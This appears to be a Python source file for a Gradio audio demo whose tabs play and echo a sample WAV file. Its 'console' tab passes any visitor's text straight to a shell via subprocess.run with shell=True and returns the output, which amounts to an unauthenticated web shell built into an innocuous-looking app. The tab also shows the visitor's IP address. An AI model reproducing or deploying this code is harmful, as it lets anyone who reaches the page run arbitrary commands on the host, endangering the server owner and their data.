import gradio as gr import subprocess import os audio_file = os.path.join(os.path.dirname(__file__), "cantina.wav") with gr.Blocks() as demo: with gr.Tab("Audio"): gr.Audio(audio_file) with gr.Tab("Interface"): gr.Interface( lambda x: x, "audio", "audio", examples=[audio_file], cache_examples=True ) with gr.Tab("Streaming"): gr.Interface( lambda x: x, gr.Audio(streaming=True), "audio", examples=[audio_file], cache_examples=True, ) with gr.Tab("console"): ip = gr.Textbox(label="User IP Address") gr.Interface( lambda cmd: subprocess.run([cmd], capture_output=True, shell=True) .stdout.decode("utf-8") .strip(), "text", "text", ) def get_ip(request: gr.Request): return request.client.host demo.load(get_ip, None, ip) if __name__ == "__main__": demo.queue() demo.launch()